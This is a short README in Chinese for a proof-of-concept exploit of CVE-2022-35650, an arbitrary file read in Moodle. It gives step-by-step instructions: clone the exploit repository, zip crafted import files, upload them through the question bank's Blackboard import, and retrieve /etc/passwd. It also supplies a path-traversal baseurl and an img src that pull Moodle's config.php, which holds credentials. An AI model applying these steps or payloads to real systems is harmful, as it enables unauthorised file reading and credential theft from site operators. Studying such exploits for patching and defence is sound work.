CVE-2022-35650

这是一个在 Moodle 中的任意文件读取漏洞。

前提条件

你必须已攻破教师或管理员级别的用户账户。

步骤

1. 克隆此仓库：

git clone https://github.com/Gr4y-r0se/CVE-2022-35650.git

2. 运行此命令来打包漏洞利用文件：

zip exploit.zip imsmanifest.xml pool.dat

3. 浏览到一个你的账户拥有写入权限的课程。
4. 导航到 '题库'。
5. 从下拉菜单中选择 '导入'。
6. 选择 'blackboard' 作为格式。
7. 上传步骤 2 中的 'exploit.zip'。
8. 确认上传。
9. 点击现在列出题目的 '编辑' 按钮。
10. 选择损坏的 img 标签。
11. 从弹出窗口中选择源文件。
12. 浏览到该源，并注意会下载一个文件（__passwd）。
13. 该文件是 /etc/passwd 的内容。

不止于 PoC

如果你想读取配置文件（包含敏感凭据），请将 imsmanifest.xml 中的 baseurl 设置为：

../../../../../../../../../../../var/www/html

并将 pool.dat 中的 img src 设置为：

muc/config.php